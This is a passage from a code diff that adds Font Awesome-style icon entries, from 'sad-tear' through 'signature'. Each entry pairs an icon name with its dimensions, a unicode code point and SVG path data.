19.3s66.5-6.9 96-19.3V288c0-8.8 7.2-16 16-16s16 7.2 16 16v180.1C447.8 424.7 496 346 496 256 496 119 385 8 248 8zm-65.5 216.5c-14.8-13.2-46.2-13.2-61 0L112 233c-3.8 3.3-9.3 4-13.7 1.6-4.4-2.4-6.9-7.4-6.1-12.4 4-25.2 34.2-42.1 59.9-42.1S208 197 212 222.2c.8 5-1.7 10-6.1 12.4-5.8 3.1-11.2.7-13.7-1.6l-9.7-8.5zM248 416c-26.5 0-48-28.7-48-64s21.5-64 48-64 48 28.7 48 64-21.5 64-48 64zm149.8-181.5c-5.8 3.1-11.2.7-13.7-1.6l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L304 233c-3.8 3.3-9.3 4-13.7 1.6-4.4-2.4-6.9-7.4-6.1-12.4 4-25.2 34.2-42.1 59.9-42.1S400 197 404 222.2c.6 4.9-1.8 9.9-6.2 12.3z"], + "sad-tear": [496, 512, [], "f5b4", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zM152 416c-26.5 0-48-21-48-47 0-20 28.5-60.4 41.6-77.8 3.2-4.3 9.6-4.3 12.8 0C171.5 308.6 200 349 200 369c0 26-21.5 47-48 47zm16-176c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm170.2 154.2C315.8 367.4 282.9 352 248 352c-21.2 0-21.2-32 0-32 44.4 0 86.3 19.6 114.7 53.8 13.8 16.4-11.2 36.5-24.5 20.4z"], + "satellite": [512, 512, [], "f7bf", "M502.60969,310.04206l-96.70393,96.71625a31.88151,31.88151,0,0,1-45.00765,0L280.572,326.34115l-9.89231,9.90759a190.56343,190.56343,0,0,1-5.40716,168.52287c-4.50077,8.50115-16.39342,9.59505-23.20707,2.79725L134.54715,400.05428l-17.7999,17.79929c.70324,2.60972,1.60965,5.00067,1.60965,7.79793a32.00544,32.00544,0,1,1-32.00544-32.00434c2.79735,0,5.18838.90637,7.7982,1.60959l17.7999-17.79929L4.43129,269.94287c-6.798-6.81342-5.70409-18.6119,2.79735-23.20627a190.58161,190.58161,0,0,1,168.52864-5.407l9.79854-9.79821-80.31053-80.41716a32.002,32.002,0,0,1,0-45.09987L201.96474,9.29814A31.62639,31.62639,0,0,1,224.46868,0a31.99951,31.99951,0,0,1,22.59759,9.29814l80.32615,80.30777,47.805-47.89713a33.6075,33.6075,0,0,1,47.50808,0l47.50807,47.50645a33.63308,33.63308,0,0,1,0,47.50644l-47.805,47.89713L502.71908,265.036A31.78938,31.78938,0,0,1,502.60969,310.04206ZM219.56159,197.433l73.82505-73.82252-68.918-68.9-73.80942,73.80689Zm237.74352,90.106-68.90233-68.9156-73.825,73.82252,68.918,68.9Z"], + "satellite-dish": [512, 512, [], "f7c0", "M305.44954,462.59c7.39157,7.29792,6.18829,20.09661-3.00038,25.00356-77.713,41.80281-176.72559,29.9105-242.34331-35.7082C-5.49624,386.28227-17.404,287.362,24.41381,209.554c4.89125-9.095,17.68975-10.29834,25.00318-3.00043L166.22872,323.36708l27.39411-27.39452c-.68759-2.60974-1.594-5.00071-1.594-7.81361a32.00407,32.00407,0,1,1,32.00407,32.00455c-2.79723,0-5.20378-.89075-7.79786-1.594l-27.40974,27.41015ZM511.9758,303.06732a16.10336,16.10336,0,0,1-16.002,17.00242H463.86031a15.96956,15.96956,0,0,1-15.89265-15.00213C440.46671,175.5492,336.45348,70.53427,207.03078,63.53328a15.84486,15.84486,0,0,1-15.00191-15.90852V16.02652A16.09389,16.09389,0,0,1,209.031.02425C372.25491,8.61922,503.47472,139.841,511.9758,303.06732Zm-96.01221-.29692a16.21093,16.21093,0,0,1-16.11142,17.29934H367.645a16.06862,16.06862,0,0,1-15.89265-14.70522c-6.90712-77.01094-68.118-138.91037-144.92467-145.22376a15.94,15.94,0,0,1-14.79876-15.89289V112.13393a16.134,16.134,0,0,1,17.29908-16.096C319.45132,104.5391,407.55627,192.64538,415.96359,302.7704Z"], + "save": [448, 512, [], "f0c7", "M433.941 129.941l-83.882-83.882A48 48 0 0 0 316.118 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V163.882a48 48 0 0 0-14.059-33.941zM224 416c-35.346 0-64-28.654-64-64 0-35.346 28.654-64 64-64s64 28.654 64 64c0 35.346-28.654 64-64 64zm96-304.52V212c0 6.627-5.373 12-12 12H76c-6.627 0-12-5.373-12-12V108c0-6.627 5.373-12 12-12h228.52c3.183 0 6.235 1.264 8.485 3.515l3.48 3.48A11.996 11.996 0 0 1 320 111.48z"], + "school": [640, 512, [], "f549", "M0 224v272c0 8.84 7.16 16 16 16h80V192H32c-17.67 0-32 14.33-32 32zm360-48h-24v-40c0-4.42-3.58-8-8-8h-16c-4.42 0-8 3.58-8 8v64c0 4.42 3.58 8 8 8h48c4.42 0 8-3.58 8-8v-16c0-4.42-3.58-8-8-8zm137.75-63.96l-160-106.67a32.02 32.02 0 0 0-35.5 0l-160 106.67A32.002 32.002 0 0 0 128 138.66V512h128V368c0-8.84 7.16-16 16-16h96c8.84 0 16 7.16 16 16v144h128V138.67c0-10.7-5.35-20.7-14.25-26.63zM320 256c-44.18 0-80-35.82-80-80s35.82-80 80-80 80 35.82 80 80-35.82 80-80 80zm288-64h-64v320h80c8.84 0 16-7.16 16-16V224c0-17.67-14.33-32-32-32z"], + "screwdriver": [512, 512, [], "f54a", "M448 0L320 96v62.06l-83.03 83.03c6.79 4.25 13.27 9.06 19.07 14.87 5.8 5.8 10.62 12.28 14.87 19.07L353.94 192H416l96-128-64-64zM128 278.59L10.92 395.67c-14.55 14.55-14.55 38.15 0 52.71l52.7 52.7c14.56 14.56 38.15 14.56 52.71 0L233.41 384c29.11-29.11 29.11-76.3 0-105.41s-76.3-29.11-105.41 0z"], + "scroll": [640, 512, [], "f70e", "M48 0C21.53 0 0 21.53 0 48v64c0 8.84 7.16 16 16 16h80V48C96 21.53 74.47 0 48 0zm208 412.57V352h288V96c0-52.94-43.06-96-96-96H111.59C121.74 13.41 128 29.92 128 48v368c0 38.87 34.65 69.65 74.75 63.12C234.22 474 256 444.46 256 412.57zM288 384v32c0 52.93-43.06 96-96 96h336c61.86 0 112-50.14 112-112 0-8.84-7.16-16-16-16H288z"], + "sd-card": [384, 512, [], "f7c2", "M320 0H128L0 128v320c0 35.3 28.7 64 64 64h256c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64zM160 160h-48V64h48v96zm80 0h-48V64h48v96zm80 0h-48V64h48v96z"], + "search": [512, 512, [], "f002", "M505 442.7L405.3 343c-4.5-4.5-10.6-7-17-7H372c27.6-35.3 44-79.7 44-128C416 93.1 322.9 0 208 0S0 93.1 0 208s93.1 208 208 208c48.3 0 92.7-16.4 128-44v16.3c0 6.4 2.5 12.5 7 17l99.7 99.7c9.4 9.4 24.6 9.4 33.9 0l28.3-28.3c9.4-9.4 9.4-24.6.1-34zM208 336c-70.7 0-128-57.2-128-128 0-70.7 57.2-128 128-128 70.7 0 128 57.2 128 128 0 70.7-57.2 128-128 128z"], + "search-dollar": [512, 512, [], "f688", "M505.04 442.66l-99.71-99.69c-4.5-4.5-10.6-7-17-7h-16.3c27.6-35.3 44-79.69 44-127.99C416.03 93.09 322.92 0 208.02 0S0 93.09 0 207.98s93.11 207.98 208.02 207.98c48.3 0 92.71-16.4 128.01-44v16.3c0 6.4 2.5 12.5 7 17l99.71 99.69c9.4 9.4 24.6 9.4 33.9 0l28.3-28.3c9.4-9.4 9.4-24.59.1-33.99zm-297.02-90.7c-79.54 0-144-64.34-144-143.98 0-79.53 64.35-143.98 144-143.98 79.54 0 144 64.34 144 143.98 0 79.53-64.35 143.98-144 143.98zm27.11-152.54l-45.01-13.5c-5.16-1.55-8.77-6.78-8.77-12.73 0-7.27 5.3-13.19 11.8-13.19h28.11c4.56 0 8.96 1.29 12.82 3.72 3.24 2.03 7.36 1.91 10.13-.73l11.75-11.21c3.53-3.37 3.33-9.21-.57-12.14-9.1-6.83-20.08-10.77-31.37-11.35V112c0-4.42-3.58-8-8-8h-16c-4.42 0-8 3.58-8 8v16.12c-23.63.63-42.68 20.55-42.68 45.07 0 19.97 12.99 37.81 31.58 43.39l45.01 13.5c5.16 1.55 8.77 6.78 8.77 12.73 0 7.27-5.3 13.19-11.8 13.19h-28.1c-4.56 0-8.96-1.29-12.82-3.72-3.24-2.03-7.36-1.91-10.13.73l-11.75 11.21c-3.53 3.37-3.33 9.21.57 12.14 9.1 6.83 20.08 10.77 31.37 11.35V304c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8v-16.12c23.63-.63 42.68-20.54 42.68-45.07 0-19.97-12.99-37.81-31.59-43.39z"], + "search-location": [512, 512, [], "f689", "M505.04 442.66l-99.71-99.69c-4.5-4.5-10.6-7-17-7h-16.3c27.6-35.3 44-79.69 44-127.99C416.03 93.09 322.92 0 208.02 0S0 93.09 0 207.98s93.11 207.98 208.02 207.98c48.3 0 92.71-16.4 128.01-44v16.3c0 6.4 2.5 12.5 7 17l99.71 99.69c9.4 9.4 24.6 9.4 33.9 0l28.3-28.3c9.4-9.4 9.4-24.59.1-33.99zm-297.02-90.7c-79.54 0-144-64.34-144-143.98 0-79.53 64.35-143.98 144-143.98 79.54 0 144 64.34 144 143.98 0 79.53-64.35 143.98-144 143.98zm.02-239.96c-40.78 0-73.84 33.05-73.84 73.83 0 32.96 48.26 93.05 66.75 114.86a9.24 9.24 0 0 0 14.18 0c18.49-21.81 66.75-81.89 66.75-114.86 0-40.78-33.06-73.83-73.84-73.83zm0 96c-13.26 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z"], + "search-minus": [512, 512, [], "f010", "M304 192v32c0 6.6-5.4 12-12 12H124c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12zm201 284.7L476.7 505c-9.4 9.4-24.6 9.4-33.9 0L343 405.3c-4.5-4.5-7-10.6-7-17V372c-35.3 27.6-79.7 44-128 44C93.1 416 0 322.9 0 208S93.1 0 208 0s208 93.1 208 208c0 48.3-16.4 92.7-44 128h16.3c6.4 0 12.5 2.5 17 7l99.7 99.7c9.3 9.4 9.3 24.6 0 34zM344 208c0-75.2-60.8-136-136-136S72 132.8 72 208s60.8 136 136 136 136-60.8 136-136z"], + "search-plus": [512, 512, [], "f00e", "M304 192v32c0 6.6-5.4 12-12 12h-56v56c0 6.6-5.4 12-12 12h-32c-6.6 0-12-5.4-12-12v-56h-56c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h56v-56c0-6.6 5.4-12 12-12h32c6.6 0 12 5.4 12 12v56h56c6.6 0 12 5.4 12 12zm201 284.7L476.7 505c-9.4 9.4-24.6 9.4-33.9 0L343 405.3c-4.5-4.5-7-10.6-7-17V372c-35.3 27.6-79.7 44-128 44C93.1 416 0 322.9 0 208S93.1 0 208 0s208 93.1 208 208c0 48.3-16.4 92.7-44 128h16.3c6.4 0 12.5 2.5 17 7l99.7 99.7c9.3 9.4 9.3 24.6 0 34zM344 208c0-75.2-60.8-136-136-136S72 132.8 72 208s60.8 136 136 136 136-60.8 136-136z"], + "seedling": [512, 512, [], "f4d8", "M64 96H0c0 123.7 100.3 224 224 224v144c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320C288 196.3 187.7 96 64 96zm384-64c-84.2 0-157.4 46.5-195.7 115.2 27.7 30.2 48.2 66.9 59 107.6C424 243.1 512 147.9 512 32h-64z"], + "server": [512, 512, [], "f233", "M480 160H32c-17.673 0-32-14.327-32-32V64c0-17.673 14.327-32 32-32h448c17.673 0 32 14.327 32 32v64c0 17.673-14.327 32-32 32zm-48-88c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm-64 0c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm112 248H32c-17.673 0-32-14.327-32-32v-64c0-17.673 14.327-32 32-32h448c17.673 0 32 14.327 32 32v64c0 17.673-14.327 32-32 32zm-48-88c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm-64 0c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm112 248H32c-17.673 0-32-14.327-32-32v-64c0-17.673 14.327-32 32-32h448c17.673 0 32 14.327 32 32v64c0 17.673-14.327 32-32 32zm-48-88c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm-64 0c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24z"], + "shapes": [512, 512, [], "f61f", "M128,256A128,128,0,1,0,256,384,128,128,0,0,0,128,256Zm379-54.86L400.07,18.29a37.26,37.26,0,0,0-64.14,0L229,201.14C214.76,225.52,232.58,256,261.09,256H474.91C503.42,256,521.24,225.52,507,201.14ZM480,288H320a32,32,0,0,0-32,32V480a32,32,0,0,0,32,32H480a32,32,0,0,0,32-32V320A32,32,0,0,0,480,288Z"], + "share": [512, 512, [], "f064", "M503.691 189.836L327.687 37.851C312.281 24.546 288 35.347 288 56.015v80.053C127.371 137.907 0 170.1 0 322.326c0 61.441 39.581 122.309 83.333 154.132 13.653 9.931 33.111-2.533 28.077-18.631C66.066 312.814 132.917 274.316 288 272.085V360c0 20.7 24.3 31.453 39.687 18.164l176.004-152c11.071-9.562 11.086-26.753 0-36.328z"], + "share-alt": [448, 512, [], "f1e0", "M352 320c-22.608 0-43.387 7.819-59.79 20.895l-102.486-64.054a96.551 96.551 0 0 0 0-41.683l102.486-64.054C308.613 184.181 329.392 192 352 192c53.019 0 96-42.981 96-96S405.019 0 352 0s-96 42.981-96 96c0 7.158.79 14.13 2.276 20.841L155.79 180.895C139.387 167.819 118.608 160 96 160c-53.019 0-96 42.981-96 96s42.981 96 96 96c22.608 0 43.387-7.819 59.79-20.895l102.486 64.054A96.301 96.301 0 0 0 256 416c0 53.019 42.981 96 96 96s96-42.981 96-96-42.981-96-96-96z"], + "share-alt-square": [448, 512, [], "f1e1", "M448 80v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48zM304 296c-14.562 0-27.823 5.561-37.783 14.671l-67.958-40.775a56.339 56.339 0 0 0 0-27.793l67.958-40.775C276.177 210.439 289.438 216 304 216c30.928 0 56-25.072 56-56s-25.072-56-56-56-56 25.072-56 56c0 4.797.605 9.453 1.74 13.897l-67.958 40.775C171.823 205.561 158.562 200 144 200c-30.928 0-56 25.072-56 56s25.072 56 56 56c14.562 0 27.823-5.561 37.783-14.671l67.958 40.775a56.088 56.088 0 0 0-1.74 13.897c0 30.928 25.072 56 56 56s56-25.072 56-56C360 321.072 334.928 296 304 296z"], + "share-square": [576, 512, [], "f14d", "M568.482 177.448L424.479 313.433C409.3 327.768 384 317.14 384 295.985v-71.963c-144.575.97-205.566 35.113-164.775 171.353 4.483 14.973-12.846 26.567-25.006 17.33C155.252 383.105 120 326.488 120 269.339c0-143.937 117.599-172.5 264-173.312V24.012c0-21.174 25.317-31.768 40.479-17.448l144.003 135.988c10.02 9.463 10.028 25.425 0 34.896zM384 379.128V448H64V128h50.916a11.99 11.99 0 0 0 8.648-3.693c14.953-15.568 32.237-27.89 51.014-37.676C185.708 80.83 181.584 64 169.033 64H48C21.49 64 0 85.49 0 112v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48v-88.806c0-8.288-8.197-14.066-16.011-11.302a71.83 71.83 0 0 1-34.189 3.377c-7.27-1.046-13.8 4.514-13.8 11.859z"], + "shekel-sign": [448, 512, [], "f20b", "M248 168v168c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V168c0-75.11-60.89-136-136-136H24C10.75 32 0 42.74 0 56v408c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V112h112c30.93 0 56 25.07 56 56zM432 32h-48c-8.84 0-16 7.16-16 16v296c0 30.93-25.07 56-56 56H200V176c0-8.84-7.16-16-16-16h-48c-8.84 0-16 7.16-16 16v280c0 13.25 10.75 24 24 24h168c75.11 0 136-60.89 136-136V48c0-8.84-7.16-16-16-16z"], + "shield-alt": [512, 512, [], "f3ed", "M466.5 83.7l-192-80a48.15 48.15 0 0 0-36.9 0l-192 80C27.7 91.1 16 108.6 16 128c0 198.5 114.5 335.7 221.5 380.3 11.8 4.9 25.1 4.9 36.9 0C360.1 472.6 496 349.3 496 128c0-19.4-11.7-36.9-29.5-44.3zM256.1 446.3l-.1-381 175.9 73.3c-3.3 151.4-82.1 261.1-175.8 307.7z"], + "shield-virus": [512, 512, [], "e06c", "M224,192a16,16,0,1,0,16,16A16,16,0,0,0,224,192ZM466.5,83.68l-192-80A57.4,57.4,0,0,0,256.05,0a57.4,57.4,0,0,0-18.46,3.67l-192,80A47.93,47.93,0,0,0,16,128C16,326.5,130.5,463.72,237.5,508.32a48.09,48.09,0,0,0,36.91,0C360.09,472.61,496,349.3,496,128A48,48,0,0,0,466.5,83.68ZM384,256H371.88c-28.51,0-42.79,34.47-22.63,54.63l8.58,8.57a16,16,0,1,1-22.63,22.63l-8.57-8.58C306.47,313.09,272,327.37,272,355.88V368a16,16,0,0,1-32,0V355.88c0-28.51-34.47-42.79-54.63-22.63l-8.57,8.58a16,16,0,0,1-22.63-22.63l8.58-8.57c20.16-20.16,5.88-54.63-22.63-54.63H128a16,16,0,0,1,0-32h12.12c28.51,0,42.79-34.47,22.63-54.63l-8.58-8.57a16,16,0,0,1,22.63-22.63l8.57,8.58c20.16,20.16,54.63,5.88,54.63-22.63V112a16,16,0,0,1,32,0v12.12c0,28.51,34.47,42.79,54.63,22.63l8.57-8.58a16,16,0,0,1,22.63,22.63l-8.58,8.57C329.09,189.53,343.37,224,371.88,224H384a16,16,0,0,1,0,32Zm-96,0a16,16,0,1,0,16,16A16,16,0,0,0,288,256Z"], + "ship": [640, 512, [], "f21a", "M496.616 372.639l70.012-70.012c16.899-16.9 9.942-45.771-12.836-53.092L512 236.102V96c0-17.673-14.327-32-32-32h-64V24c0-13.255-10.745-24-24-24H248c-13.255 0-24 10.745-24 24v40h-64c-17.673 0-32 14.327-32 32v140.102l-41.792 13.433c-22.753 7.313-29.754 36.173-12.836 53.092l70.012 70.012C125.828 416.287 85.587 448 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24 61.023 0 107.499-20.61 143.258-59.396C181.677 487.432 216.021 512 256 512h128c39.979 0 74.323-24.568 88.742-59.396C508.495 491.384 554.968 512 616 512c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24-60.817 0-101.542-31.001-119.384-75.361zM192 128h256v87.531l-118.208-37.995a31.995 31.995 0 0 0-19.584 0L192 215.531V128z"], + "shipping-fast": [640, 512, [], "f48b", "M624 352h-16V243.9c0-12.7-5.1-24.9-14.1-33.9L494 110.1c-9-9-21.2-14.1-33.9-14.1H416V48c0-26.5-21.5-48-48-48H112C85.5 0 64 21.5 64 48v48H8c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h272c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H40c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h208c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H8c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h208c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H64v128c0 53 43 96 96 96s96-43 96-96h128c0 53 43 96 96 96s96-43 96-96h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM160 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm320 0c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm80-208H416V144h44.1l99.9 99.9V256z"], + "shoe-prints": [640, 512, [], "f54b", "M192 160h32V32h-32c-35.35 0-64 28.65-64 64s28.65 64 64 64zM0 416c0 35.35 28.65 64 64 64h32V352H64c-35.35 0-64 28.65-64 64zm337.46-128c-34.91 0-76.16 13.12-104.73 32-24.79 16.38-44.52 32-104.73 32v128l57.53 15.97c26.21 7.28 53.01 13.12 80.31 15.05 32.69 2.31 65.6.67 97.58-6.2C472.9 481.3 512 429.22 512 384c0-64-84.18-96-174.54-96zM491.42 7.19C459.44.32 426.53-1.33 393.84.99c-27.3 1.93-54.1 7.77-80.31 15.04L256 32v128c60.2 0 79.94 15.62 104.73 32 28.57 18.88 69.82 32 104.73 32C555.82 224 640 192 640 128c0-45.22-39.1-97.3-148.58-120.81z"], + "shopping-bag": [448, 512, [], "f290", "M352 160v-32C352 57.42 294.579 0 224 0 153.42 0 96 57.42 96 128v32H0v272c0 44.183 35.817 80 80 80h288c44.183 0 80-35.817 80-80V160h-96zm-192-32c0-35.29 28.71-64 64-64s64 28.71 64 64v32H160v-32zm160 120c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24zm-192 0c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24z"], + "shopping-basket": [576, 512, [], "f291", "M576 216v16c0 13.255-10.745 24-24 24h-8l-26.113 182.788C514.509 462.435 494.257 480 470.37 480H105.63c-23.887 0-44.139-17.565-47.518-41.212L32 256h-8c-13.255 0-24-10.745-24-24v-16c0-13.255 10.745-24 24-24h67.341l106.78-146.821c10.395-14.292 30.407-17.453 44.701-7.058 14.293 10.395 17.453 30.408 7.058 44.701L170.477 192h235.046L326.12 82.821c-10.395-14.292-7.234-34.306 7.059-44.701 14.291-10.395 34.306-7.235 44.701 7.058L484.659 192H552c13.255 0 24 10.745 24 24zM312 392V280c0-13.255-10.745-24-24-24s-24 10.745-24 24v112c0 13.255 10.745 24 24 24s24-10.745 24-24zm112 0V280c0-13.255-10.745-24-24-24s-24 10.745-24 24v112c0 13.255 10.745 24 24 24s24-10.745 24-24zm-224 0V280c0-13.255-10.745-24-24-24s-24 10.745-24 24v112c0 13.255 10.745 24 24 24s24-10.745 24-24z"], + "shopping-cart": [576, 512, [], "f07a", "M528.12 301.319l47.273-208C578.806 78.301 567.391 64 551.99 64H159.208l-9.166-44.81C147.758 8.021 137.93 0 126.529 0H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24h69.883l70.248 343.435C147.325 417.1 136 435.222 136 456c0 30.928 25.072 56 56 56s56-25.072 56-56c0-15.674-6.447-29.835-16.824-40h209.647C430.447 426.165 424 440.326 424 456c0 30.928 25.072 56 56 56s56-25.072 56-56c0-22.172-12.888-41.332-31.579-50.405l5.517-24.276c3.413-15.018-8.002-29.319-23.403-29.319H218.117l-6.545-32h293.145c11.206 0 20.92-7.754 23.403-18.681z"], + "shower": [512, 512, [], "f2cc", "M304,320a16,16,0,1,0,16,16A16,16,0,0,0,304,320Zm32-96a16,16,0,1,0,16,16A16,16,0,0,0,336,224Zm32,64a16,16,0,1,0-16-16A16,16,0,0,0,368,288Zm-32,32a16,16,0,1,0-16-16A16,16,0,0,0,336,320Zm-32-64a16,16,0,1,0,16,16A16,16,0,0,0,304,256Zm128-32a16,16,0,1,0-16-16A16,16,0,0,0,432,224Zm-48,16a16,16,0,1,0,16-16A16,16,0,0,0,384,240Zm-16-48a16,16,0,1,0,16,16A16,16,0,0,0,368,192Zm96,32a16,16,0,1,0,16,16A16,16,0,0,0,464,224Zm32-32a16,16,0,1,0,16,16A16,16,0,0,0,496,192Zm-64,64a16,16,0,1,0,16,16A16,16,0,0,0,432,256Zm-32,32a16,16,0,1,0,16,16A16,16,0,0,0,400,288Zm-64,64a16,16,0,1,0,16,16A16,16,0,0,0,336,352Zm-32,32a16,16,0,1,0,16,16A16,16,0,0,0,304,384Zm64-64a16,16,0,1,0,16,16A16,16,0,0,0,368,320Zm21.65-218.35-11.3-11.31a16,16,0,0,0-22.63,0L350.05,96A111.19,111.19,0,0,0,272,64c-19.24,0-37.08,5.3-52.9,13.85l-10-10A121.72,121.72,0,0,0,123.44,32C55.49,31.5,0,92.91,0,160.85V464a16,16,0,0,0,16,16H48a16,16,0,0,0,16-16V158.4c0-30.15,21-58.2,51-61.93a58.38,58.38,0,0,1,48.93,16.67l10,10C165.3,138.92,160,156.76,160,176a111.23,111.23,0,0,0,32,78.05l-5.66,5.67a16,16,0,0,0,0,22.62l11.3,11.31a16,16,0,0,0,22.63,0L389.65,124.28A16,16,0,0,0,389.65,101.65Z"], + "shuttle-van": [640, 512, [], "f5b6", "M628.88 210.65L494.39 49.27A48.01 48.01 0 0 0 457.52 32H32C14.33 32 0 46.33 0 64v288c0 17.67 14.33 32 32 32h32c0 53.02 42.98 96 96 96s96-42.98 96-96h128c0 53.02 42.98 96 96 96s96-42.98 96-96h32c17.67 0 32-14.33 32-32V241.38c0-11.23-3.94-22.1-11.12-30.73zM64 192V96h96v96H64zm96 240c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm160-240h-96V96h96v96zm160 240c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm-96-240V96h66.02l80 96H384z"], + "sign": [512, 512, [], "f4d9", "M496 64H128V16c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16v48H16C7.2 64 0 71.2 0 80v32c0 8.8 7.2 16 16 16h48v368c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V128h368c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16zM160 384h320V160H160v224z"], + "sign-in-alt": [512, 512, [], "f2f6", "M416 448h-84c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h84c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32h-84c-6.6 0-12-5.4-12-12V76c0-6.6 5.4-12 12-12h84c53 0 96 43 96 96v192c0 53-43 96-96 96zm-47-201L201 79c-15-15-41-4.5-41 17v96H24c-13.3 0-24 10.7-24 24v96c0 13.3 10.7 24 24 24h136v96c0 21.5 26 32 41 17l168-168c9.3-9.4 9.3-24.6 0-34z"], + "sign-language": [448, 512, [], "f2a7", "M91.434 483.987c-.307-16.018 13.109-29.129 29.13-29.129h62.293v-5.714H56.993c-16.021 0-29.437-13.111-29.13-29.129C28.16 404.491 40.835 392 56.428 392h126.429v-5.714H29.136c-16.021 0-29.437-13.111-29.13-29.129.297-15.522 12.973-28.013 28.566-28.013h154.286v-5.714H57.707c-16.021 0-29.437-13.111-29.13-29.129.297-15.522 12.973-28.013 28.566-28.013h168.566l-31.085-22.606c-12.762-9.281-15.583-27.149-6.302-39.912 9.281-12.761 27.15-15.582 39.912-6.302l123.361 89.715a34.287 34.287 0 0 1 14.12 27.728v141.136c0 15.91-10.946 29.73-26.433 33.374l-80.471 18.934a137.16 137.16 0 0 1-31.411 3.646H120c-15.593-.001-28.269-12.492-28.566-28.014zm73.249-225.701h36.423l-11.187-8.136c-18.579-13.511-20.313-40.887-3.17-56.536l-13.004-16.7c-9.843-12.641-28.43-15.171-40.88-5.088-12.065 9.771-14.133 27.447-4.553 39.75l36.371 46.71zm283.298-2.103l-5.003-152.452c-.518-15.771-13.722-28.136-29.493-27.619-15.773.518-28.137 13.722-27.619 29.493l1.262 38.415L283.565 11.019c-9.58-12.303-27.223-14.63-39.653-5.328-12.827 9.599-14.929 28.24-5.086 40.881l76.889 98.745-4.509 3.511-94.79-121.734c-9.58-12.303-27.223-14.63-39.653-5.328-12.827 9.599-14.929 28.24-5.086 40.881l94.443 121.288-4.509 3.511-77.675-99.754c-9.58-12.303-27.223-14.63-39.653-5.328-12.827 9.599-14.929 28.24-5.086 40.881l52.053 66.849c12.497-8.257 29.055-8.285 41.69.904l123.36 89.714c10.904 7.93 17.415 20.715 17.415 34.198v16.999l61.064-47.549a34.285 34.285 0 0 0 13.202-28.177z"], + "sign-out-alt": [512, 512, [], "f2f5", "M497 273L329 441c-15 15-41 4.5-41-17v-96H152c-13.3 0-24-10.7-24-24v-96c0-13.3 10.7-24 24-24h136V88c0-21.4 25.9-32 41-17l168 168c9.3 9.4 9.3 24.6 0 34zM192 436v-40c0-6.6-5.4-12-12-12H96c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32h84c6.6 0 12-5.4 12-12V76c0-6.6-5.4-12-12-12H96c-53 0-96 43-96 96v192c0 53 43 96 96 96h84c6.6 0 12-5.4 12-12z"], + "signal": [640, 512, [], "f012", "M216 288h-48c-8.84 0-16 7.16-16 16v192c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V304c0-8.84-7.16-16-16-16zM88 384H40c-8.84 0-16 7.16-16 16v96c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16v-96c0-8.84-7.16-16-16-16zm256-192h-48c-8.84 0-16 7.16-16 16v288c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V208c0-8.84-7.16-16-16-16zm128-96h-48c-8.84 0-16 7.16-16 16v384c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V112c0-8.84-7.16-16-16-16zM600 0h-48c-8.84 0-16 7.16-16 16v480c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16z"], + "signature": [640, 512, [], "f5b7", "M623.2 192c-51.8 3.5-125.7 54.7-163.1 71.5-29.1 13.1-54.2 24.4-76.1 24.4-22.6 0-26-16.2-21.3-51.9 1.1-8 11.7-79.2-42.7-76.1-25.1 1.5-64.3 